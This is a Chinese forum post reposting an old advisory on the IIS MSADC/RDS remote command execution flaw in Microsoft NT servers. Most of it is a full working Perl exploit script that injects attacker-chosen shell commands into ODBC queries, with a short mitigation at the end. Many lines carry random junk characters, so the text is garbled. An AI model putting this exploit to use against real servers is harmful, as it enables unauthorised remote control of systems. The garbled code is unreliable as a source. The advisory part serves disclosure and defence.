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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ~|{)h^]@  
q>(u>z!  
涉及程序: $a*Q).^  
Microsoft NT server sQAc"S  
V 1nZ M  
描述: SE9u2Jk  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ilp;@O6  
X,EYa>RSy_  
详细: _K}_h\e.  
如果你没有时间读详细内容的话,就删除: &tz%WW%D8  
c:\Program Files\Common Files\System\Msadc\msadcs.dll q\t>D _lU  
有关的安全问题就没有了。 x";.gjI |g  
VgsCwJ9w  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 K'5sn|)  
^ $+f3Z'  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P tQ#  
关于利用ODBC远程漏洞的描述,请参看: 4a.e ,gitf  
m)|.:sj  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm VWA-?%r  
o*wC{VP_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 7! b)'W?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )-?uX.E{  
fo\J \  
这里不再论述。 _h=< _Z  
m wEVEx24  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 95?5=T F  
b!5tFX;J  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset .)^3t ~  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! o(X90X  
4`!  
{uwk[f{z  
#将下面这段保存为txt文件,然后: "perl -x 文件名" r6`^>c  
)' x/q  
#!perl (m3I#L  
# ~0[G/A$]  
# MSADC/RDS 'usage' (aka exploit) script 1_j<%1{sZ  
# JM+sHHs  
# by rain.forest.puppy tU)r[2H2  
# fJn3"D'  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me m['v3m:  
# beta test and find errors! ^E<~zO=Z  
_]=TFz2O  
use Socket; use Getopt::Std; # McK46B z  
getopts("e:vd:h:XR", \%args); Yn$>QS 4  
Mdltzy=)L  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; >d27[%  
59Tg"3xB<  
if (!defined $args{h} && !defined $args{R}) { xu"94y+  
print qq~ 1fO2)$Y  
Usage: msadc.pl -h <host> { -d <delay> -X -v } qrM{b=  
-h <host> = host you want to scan (ip or domain) 4iYKW2a  
-d <seconds> = delay between calls, default 1 second N.5KPAvg%  
-X = dump Index Server path table, if available ?HEtrX,q  
-v = verbose STXqq[+Rf  
-e = external dictionary file for step 5 0$f_or9T  
qUEd E`B  
Or a -R will resume a command session - 5o<Q'(  
u"#6_-0y  
~; exit;} Y @XkqvX  
B~V<n&<  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; e}](6"t`5  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} t-eKruj+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} EU^}NZW&v:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >Bh)7>`3c  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} r}_Lb.1]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  e8XM=$@  
kO..~@ aY  
if (!defined $args{R}){ $ret = &has_msadc; .-('C> @  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} NRHr6!f>  
BGlGpl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" u|m[(-`  
. "cmd /c "; o;M.Rt\A  
$in=<STDIN>; chomp $in; zJnL<Q  
$command="cmd /c " . $in ; q9>Ls-k  
{2}tPT[a(  
if (defined $args{R}) {&load; exit;} (aDb^(]>  
1AV1d%F  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; LaIW,+  
&try_btcustmr; *} *!+C3  
pgz:F#>  
print "\nStep 2: Trying to make our own DSN..."; >zPO>.?h7T  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; P3wU#qU  
iwG>]:K3  
print "\nStep 3: Trying known DSNs..."; ^[X|As2  
&known_dsn; u#a%(  
jgo e^f  
print "\nStep 4: Trying known .mdbs..."; Tm%$J  
&known_mdb; Ij;==f~G  
rmY,v  
if (defined $args{e}){ s jL*I  
print "\nStep 5: Trying dictionary of DSN names..."; cPA~eZbX  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } M(n<Iu4^_  
Q  `e~MD  
print "Sorry Charley...maybe next time?\n"; XAjd %Xv<  
exit; ;jRL3gAe)  
]4Nvh\/P9  
############################################################################## ~/^y.SsWM  
Nj0-`j0E  
sub sendraw { # ripped and modded from whisker ~mN g[]  
sleep($delay); # it's a DoS on the server! At least on mine... SL[rn<x|  
my ($pstr)=@_; j4E H2v  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @MNl*~'$.[  
die("Socket problems\n"); R^jlEt\&P  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4^ c!_K&&  
select(S); $|=1; [GtcaX{Zz  
print $pstr; my @in=<S>; J y]FrSm^  
select(STDOUT); close(S); [Z#+gh  
return @in; BhqhyX\D&y  
} else { die("Can't connect...\n"); }} f Ub1/-}  
17e=GL  
############################################################################## >nc4v6s  
]WTf< W<  
sub make_header { # make the HTTP request TF BYY{Y  
my $msadc=<<EOT 4st~3,lR$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 uQeqnGp  
User-Agent: ACTIVEDATA JzHqNUn*M  
Host: $ip Gh2#-~|cB  
Content-Length: $clen zx ct(  
Connection: Keep-Alive qIB>6bv#x  
y:qx5Mi  
ADCClientVersion:01.06 bBA$}bv  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6a7vlo  
2>\b:  
--!ADM!ROX!YOUR!WORLD! V@B7 P{gH  
Content-Type: application/x-varg LEWa6'0rq  
Content-Length: $reqlen R78!x*U}  
66/Z\H^d  
EOT | @uq()  
; $msadc=~s/\n/\r\n/g; )X7e$<SU*  
return $msadc;} Vre=%bGw  
Sbp  
############################################################################## Ud$Q0m&  
$+7ci~gs  
sub make_req { # make the RDS request v}Z9+ yRC2  
my ($switch, $p1, $p2)=@_; ,g%o  
my $req=""; my $t1, $t2, $query, $dsn; a|U}Ammr  
\xF;{}v  
if ($switch==1){ # this is the btcustmr.mdb query HC?0Lj  
$query="Select * from Customers where City=" . make_shell(); FQ U\0<5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . S)+CTVVE  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Jth=.9mrM  
q1STRYb   
elsif ($switch==2){ # this is general make table query h(_P9E[g  
$query="create table AZZ (B int, C varchar(10))"; juH wHt  
$dsn="$p1";} I|Z/`9T  
6eM6[  
elsif ($switch==3){ # this is general exploit table query uWh|C9Y!A  
$query="select * from AZZ where C=" . make_shell(); "@4ghot t  
$dsn="$p1";} !Ri r&gF  
8qN"3 Et  
elsif ($switch==4){ # attempt to hork file info from index server ("OAPr\2dw  
$query="select path from scope()"; -xz|ayn  
$dsn="Provider=MSIDXS;";} 3^XVQS***  
T(JuL<PB  
elsif ($switch==5){ # bad query nx B32  
$query="select"; -3` "E%9  
$dsn="$p1";} eHUg-\dy  
D;jK/2  
$t1= make_unicode($query); ~\ [?wN  
$t2= make_unicode($dsn); +1/b^Ac  
$req = "\x02\x00\x03\x00"; Rjq a_hxrS  
$req.= "\x08\x00" . pack ("S1", length($t1)); H'Ln P>@n#  
$req.= "\x00\x00" . $t1 ; S.W^7Ap  
$req.= "\x08\x00" . pack ("S1", length($t2)); 0yz~W(tsm  
$req.= "\x00\x00" . $t2 ; 9_UN.]  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; '#W_boN  
return $req;} nkRK +~>  
]-:1se  
############################################################################## 1A^1@^{m'  
g8l5.Mpx  
sub make_shell { # this makes the shell() statement @cIgxp  
return "'|shell(\"$command\")|'";} 2d8=h6  
) |MJnx9  
############################################################################## M&f#wQ  
m2O&2[g  
sub make_unicode { # quick little function to convert to unicode @\jQoaLT$_  
my ($in)=@_; my $out; ^)0 9OV+hF  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } + xp*]a  
return $out;} ! Mo`^ t  
JDA]t&D!v  
############################################################################## J {tVa(.  
Rh<N);Sl7  
sub rdo_success { # checks for RDO return success (this is kludge) Xa,\EEmQ  
my (@in) = @_; my $base=content_start(@in); =X@o@1  
if($in[$base]=~/multipart\/mixed/){ :u/mTZDi  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ")%r}:0  
return 0;} ){ gAj  
>f$NzJ}  
############################################################################## uR_F,Mp?%u  
V!&P(YO:  
sub make_dsn { # this makes a DSN for us ~O03Sit-  
my @drives=("c","d","e","f"); vv+J0f^  
print "\nMaking DSN: "; +EkW>$  
foreach $drive (@drives) {  ;:OsSq&  
print "$drive: "; p `P~i&_  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . e&1 \'Zq?>  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 78]gt J  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); jg_n7  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <3Gqv9Y&  
return 0 if $2 eq "404"; # not found/doesn't exist x8"#!Pw:`"  
if($2 eq "200") { `@XehSQ  
foreach $line (@results) { cj g.lzY H  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} tsv$r$Se  
} return 0;} E FY@Y[  
ST;t, D:  
############################################################################## 2"&)W dm  
H l<$a"K7\  
sub verify_exists { 4!%F\c46  
my ($page)=@_; /k6fLn2;  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $$1qF"GF  
return $results[0];} e:-8k_0|  
jUMf6^^  
############################################################################## 6f%DpJ:$U  
@xWdO,#  
sub try_btcustmr { KLQ!b,=q  
my @drives=("c","d","e","f"); n \G Ry'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); xi'>mIT  
(Xx n\*S  
foreach $dir (@dirs) { % 4 ~l  
print "$dir -> "; # fun status so you can see progress nKh&-E   
foreach $drive (@drives) { 2XSHZ|;  
print "$drive: "; # ditto /!&R9!6 :  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1cJsj  
$reqlenlen=length( "$reqlen" ); ": ;@Hnb/  
$clen= 206 + $reqlenlen + $reqlen; g:)DNy  
)ZR+lX }  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); I4_d[O9  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} i76 Yo5  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} peVq+(=.  
'\DSTr:N  
############################################################################## NY B[Zyp  
le>Wm&E  
sub odbc_error { Sr.;GS5i  
my (@in)=@_; my $base; \x\ 5D^Vc  
my $base = content_start(@in); ?w&SW{ I  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Es5p}uh.[Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; TYgQJW?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u:gtOjk2  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1&)_(|p[C  
return $in[$base+4].$in[$base+5].$in[$base+6];} A2H4k|8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Ss ?CfRM  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . W0`Gc {  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} }ynT2a#LU'  
)h$NS2B`  
############################################################################## (&\aA 0-}H  
 t,%iL  
sub verbose { !^fa.I'mM  
my ($in)=@_; MQ/ A]EeL  
return if !$verbose; wdE?SDs  
print STDOUT "\n$in\n";} JcO08n  
-`c :}m  
############################################################################## VDEv>u4  
GJ(d&o8  
sub save { Bstk{&ew  
my ($p1, $p2, $p3, $p4)=@_; F1azZ (  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?>uew^$d[w  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; |01?w|  
close OUT;} *gsAn<  
,5k-.Md>2*  
############################################################################## %,*$D} H  
vlWw3>4  
sub load { Fw4*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3eIr{xs  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); tB(4Eq \  
@p=<IN>; close(IN); $\Lyi#<  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); J QKdW  
$target= inet_aton($ip) || die("inet_aton problems"); h+7>#*DH  
print "Resuming to $ip ..."; " BTE  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 0au)g!ti  
if($p[1]==1) { /)|X.D  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; x ,/TXTZ6  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ]n1dp2aH  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); "AueLl)  
if (rdo_success(@results)){print "Success!\n";} y f1CXldi  
else { print "failed\n"; verbose(odbc_error(@results));}} P<dy3 ;  
elsif ($p[1]==3){ j} HFs0<L  
if(run_query("$p[3]")){ MEZ{j%-a  
print "Success!\n";} else { print "failed\n"; }} H. ,;-  
elsif ($p[1]==4){ PK6iY7Qp)  
if(run_query($drvst . "$p[3]")){ |!z2oO  
print "Success!\n"; } else { print "failed\n"; }} Q'NmSX)0  
exit;} Gy29MUF  
Ibr%d2yS=  
############################################################################## 4n( E;!s  
[W,|kDK  
sub create_table { jRZ%}KX  
my ($in)=@_; GRYe<K  
$reqlen=length( make_req(2,$in,"") ) - 28; &K%aw  
$reqlenlen=length( "$reqlen" ); U..<iNQE5  
$clen= 206 + $reqlenlen + $reqlen; +=@^i'  
my @results=sendraw(make_header() . make_req(2,$in,"")); &k>aP0k"  
return 1 if rdo_success(@results); lP<I|O=z  
my $temp= odbc_error(@results); verbose($temp); T.&7sbE_  
return 1 if $temp=~/Table 'AZZ' already exists/; |w&~g9   
return 0;} ;<Qdy` T  
qk{'!Ii  
############################################################################## h BMH)aU  
"PWl4a&  
sub known_dsn { r#876.JK  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go cgZaPw2 bw  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !XE aF]8  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", c$M%G)P  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 0%C^8%(x  
5 9 2;W-y  
foreach $dSn (@dsns) { F4I6P  
print "."; =]>%t]  
next if (!is_access("DSN=$dSn")); bY8GA  
if(create_table("DSN=$dSn")){ ISqfU]>[  
print "$dSn successful\n"; Opg#*w%-  
if(run_query("DSN=$dSn")){ gT52G?-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { b{[*N  
print "Something's borked. Use verbose next time\n";}}} print "\n";} L10IF  
F@W*\3)  
############################################################################## JJk#,AP  
? Nj)6_&  
sub is_access { aq>?vti1D  
my ($in)=@_; UZxmh sv  
$reqlen=length( make_req(5,$in,"") ) - 28; Q+[ .Y&  
$reqlenlen=length( "$reqlen" );  -;c  
$clen= 206 + $reqlenlen + $reqlen; 5~VosUp e7  
my @results=sendraw(make_header() . make_req(5,$in,"")); MWwJzVL8  
my $temp= odbc_error(@results); RI.2F*|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  M[P^]J@  
return 0;} .XH8YT42  
nB@UKX  
############################################################################## 7>.OVh<  
V|?WF&  
sub run_query { K&`Awv  
my ($in)=@_; ^X1wI9V  
$reqlen=length( make_req(3,$in,"") ) - 28; HtBF=Boq  
$reqlenlen=length( "$reqlen" ); aC\4}i<  
$clen= 206 + $reqlenlen + $reqlen; Ol+Kp!ocY  
my @results=sendraw(make_header() . make_req(3,$in,"")); 7sV /_3H+  
return 1 if rdo_success(@results); Go8F5a@j  
my $temp= odbc_error(@results); verbose($temp); Y`li> .\  
return 0;} vOT*iax0  
3'#%c>_  
############################################################################## C3"&sdLb$  
R } %8s*  
sub known_mdb { L,M+sN  
my @drives=("c","d","e","f","g"); J_"3UZ~&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); P[i\e7mR  
my $dir, $drive, $mdb; U":"geU  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ye |G44z  
aqL<v94wX  
# this is sparse, because I don't know of many )x\z@g  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \qq-smcM-  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Y3o Mh,  
"\\system32\\certmdb.mdb", w-rOecwFvu  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @YZ 4AC  
r%-n*_?.s  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", xZ ;bMxZ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Bw-s6MS  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^ KOzCLC  
"\\cfusion\\cfapps\\security\\realm_.mdb", 'p)QyL`d  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", E+{5-[Zc*$  
"\\cfusion\\database\\cfexamples.mdb", %V_eJC""?  
"\\cfusion\\database\\cfsnippets.mdb", Mq+< mX7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", _Ex?Xk  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", VO-784I  
"\\cfusion\\brighttiger\\database\\cleam.mdb", I~RcOiL)  
"\\cfusion\\database\\smpolicy.mdb", \(u@F<s-  
"\\cfusion\\database\cypress.mdb", d}% (jJ(I  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ,"H?hFQ  
"\\website\\cgi-win\\dbsample.mdb", !%62Phai  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ;&mxqY8`'  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uBRw>"c_*8  
); #these are just U.Hdbmix  
foreach $drive (@drives) { |[WL2<  
foreach $dir (@dirs){ `.8-cz  
foreach $mdb (@sysmdbs) { IUawdB5CB  
print "."; FV8\ +ep  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ nKu(XgFv  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; G5u meqYC  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ pn*d[M|k  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; lko3]A3  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [x$; XqA  
-x?Hj/  
foreach $drive (@drives) { i-"<[*ePd  
foreach $mdb (@mdbs) { JD-Becz  
print "."; wRi~Yb?  
if(create_table($drv . $drive . $dir . $mdb)){ +{^'i P  
print "\n" . $drive . $dir . $mdb . " successful\n"; &<t79d%{  
if(run_query($drv . $drive . $dir . $mdb)){ QX+Y(P`vMK  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 8J^d7uC  
} else { print "Something's borked. Use verbose next time\n"; }}}} pLo;#e8'f  
} cf&C|U  
APOea  
############################################################################## l]>!`'sJL  
Crg#6k1~EN  
sub hork_idx { -G!6U2*#  
print "\nAttempting to dump Index Server tables...\n"; pKYLAt+^>  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; BiE$mM  
$reqlen=length( make_req(4,"","") ) - 28; *Ji9%IA  
$reqlenlen=length( "$reqlen" ); 8nf4Jk8r  
$clen= 206 + $reqlenlen + $reqlen; `U!(cDY  
my @results=sendraw2(make_header() . make_req(4,"","")); i _8zjj7  
if (rdo_success(@results)){ flPZlL  
my $max=@results; my $c; my %d; "V:XhBG?  
for($c=19; $c<$max; $c++){ @21u I{  
$results[$c]=~s/\x00//g; n }TTq6B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; +O,V6XRr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; M$#+W?m&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \2(MpB\_6!  
$d{"$1$2"}="";} e5FCqNip'  
foreach $c (keys %d){ print "$c\n"; } +6uOg,;  
} else {print "Index server doesn't seem to be installed.\n"; }} & 8zk3  
~xP Szf  
############################################################################## Mi<*6j0  
W;5N04ko  
sub dsn_dict { C CC4(v  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Qz'O{f  
while(<IN>){ HH+TjX/b  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; }1l}-w`F  
next if (!is_access("DSN=$dSn")); ozT._ C  
if(create_table("DSN=$dSn")){ 9]"\"ka3>  
print "$dSn successful\n"; _Wq7U1v`  
if(run_query("DSN=$dSn")){  n})  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kVy"+ZebK  
print "Something's borked. Use verbose next time\n";}}} ><MGZ?-N  
print "\n"; close(IN);} jBT*~DyN z  
t!NrB X  
############################################################################## qdKh6{  
*4zoAslU1  
sub sendraw2 { # ripped and modded from whisker hLu&lY  
sleep($delay); # it's a DoS on the server! At least on mine... goG] WGVr  
my ($pstr)=@_; .n?5}s+q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0^-z?Kb<}  
die("Socket problems\n"); lv*Wnn@k  
if(connect(S,pack "SnA4x8",2,80,$target)){ pIk4V/ fy  
print "Connected. Getting data"; E>o&GYc  
open(OUT,">raw.out"); my @in; IO?~b XP  
select(S); $|=1; print $pstr; aMe%#cLI  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} u0<d2Y  
close(OUT); select(STDOUT); close(S); return @in; :DF`A(  
} else { die("Can't connect...\n"); }} Y;~EcM  
TiwHLb9  
############################################################################## qg/Y;tGSx  
2n<qAl$t  
sub content_start { # this will take in the server headers 5|{  t+u  
my (@in)=@_; my $c; }s8*QfK>  
for ($c=1;$c<500;$c++) { XyN`BDFi  
if($in[$c] =~/^\x0d\x0a/){ Zb5T90s%  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3/]f4D{MMY  
else { return $c+1; }}} kW*W4{Fth  
return -1;} # it should never get here actually ?etj.\q6  
^v()iF !  
############################################################################## J~PTVR  
iX&Z  
sub funky { G5C#i7cpm  
my (@in)=@_; my $error=odbc_error(@in); y0W`E/1t  
if($error=~/ADO could not find the specified provider/){ +LvZ87O^~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 'Y6(4|w (  
exit;} "'LOaf$X  
if($error=~/A Handler is required/){ [bQ8A(u  
print "\nServer has custom handler filters (they most likely are patched)\n"; lW@:q04Z$  
exit;} EV;;N  
if($error=~/specified Handler has denied Access/){ vwSX$OZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; Xlgz.j7XR  
exit;}} >Kqj{/SWK  
}1E_G  
############################################################################## "@):*3 4  
s`dkEaS  
sub has_msadc { m''iE  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); jw&}N6^G  
my $base=content_start(@results); 'SXpb?CZ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ^!{ oAzy9  
return 0;} h_}BmJh_  
Y?q*hS0!H  
######################## _16 &K}<  
_@}MGWlAPt  
c"_H%x<[  
解决方案: LP-KD  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll xHR+((  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 kA9 X!)2w  
s Gm(Aax*0  
拿出来充数 哈哈
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